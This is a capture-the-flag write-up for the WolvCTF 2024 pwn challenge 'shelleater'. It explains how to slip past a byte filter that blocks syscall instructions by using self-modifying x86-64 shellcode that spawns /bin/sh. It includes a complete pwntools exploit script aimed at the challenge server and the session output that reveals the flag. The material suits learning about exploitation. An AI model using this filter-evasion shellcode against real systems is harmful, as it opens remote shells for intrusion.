65 lines
1.5 KiB
Markdown
65 lines
1.5 KiB
Markdown
---
|
|
title: 'WolvCTF 2024 - Pwn: shelleater'
|
|
date: 2024-03-20
|
|
tags: ['ctf', 'ctf-pwn']
|
|
---
|
|
|
|
## Task
|
|
|
|
> go ahead, give me a shell >;)
|
|
>
|
|
> `nc shelleater.wolvctf.io 1337`
|
|
>
|
|
> [`shelleater`](https://wolvctf.io/files/aa90de69e383cd81c6842049cade8887/shelleater?token=eyJ1c2VyX2lkIjoxNDExLCJ0ZWFtX2lkIjoxNTksImZpbGVfaWQiOjQyfQ.Zfsb9g.b57mPufirIO7C7FRjqXg730t8Ck)
|
|
|
|
- `Author: beanmite`
|
|
- `Points: 100`
|
|
- `Solves: 82 / 622 (13.183%)`
|
|
|
|
## Writeup
|
|
|
|
In this challenge, the program will read some shellcode from stdin and run it as long as `0x80` (part of `int 0x80` instruction) and `0x0f 0x05` (`syscall` instruction) are not present anywhere in our code.
|
|
|
|
We can easily bypass this by making our code self-modifying:
|
|
|
|
```py
|
|
from pwn import asm, remote
|
|
|
|
sc = asm('''
|
|
xor rax, rax
|
|
push rax
|
|
add rax, 59
|
|
mov rdi, 0x68732f2f6e69622f
|
|
push rdi
|
|
mov rdi, rsp
|
|
xor rsi, rsi
|
|
xor rdx, rdx
|
|
add dword ptr [rsp + 49], 1
|
|
.byte 0xe
|
|
.byte 0x05
|
|
''', arch='x86-64')
|
|
|
|
p = remote('shelleater.wolvctf.io', 1337)
|
|
|
|
p.send(sc)
|
|
|
|
p.interactive()
|
|
```
|
|
|
|
This shellcode sets up everything for an `execve("/bin//sh", 0, 0)` syscall, then adds 1 to the next byte of the shellcode, changing the `0E 05` into `0F 05`, causing the `syscall` instruction to be executed.
|
|
|
|
After running the script, we can get the flag with the following commands:
|
|
|
|
```console
|
|
$ python s.py
|
|
[+] Opening connection to shelleater.wolvctf.io on port 1337: Done
|
|
[*] Switching to interactive mode
|
|
== proof-of-work: disabled ==
|
|
shell go here :)
|
|
$ ls
|
|
chal
|
|
flag.txt
|
|
$ cat flag.txt
|
|
wctf{1_s3ash3ll_1_3at_1t}
|
|
```
|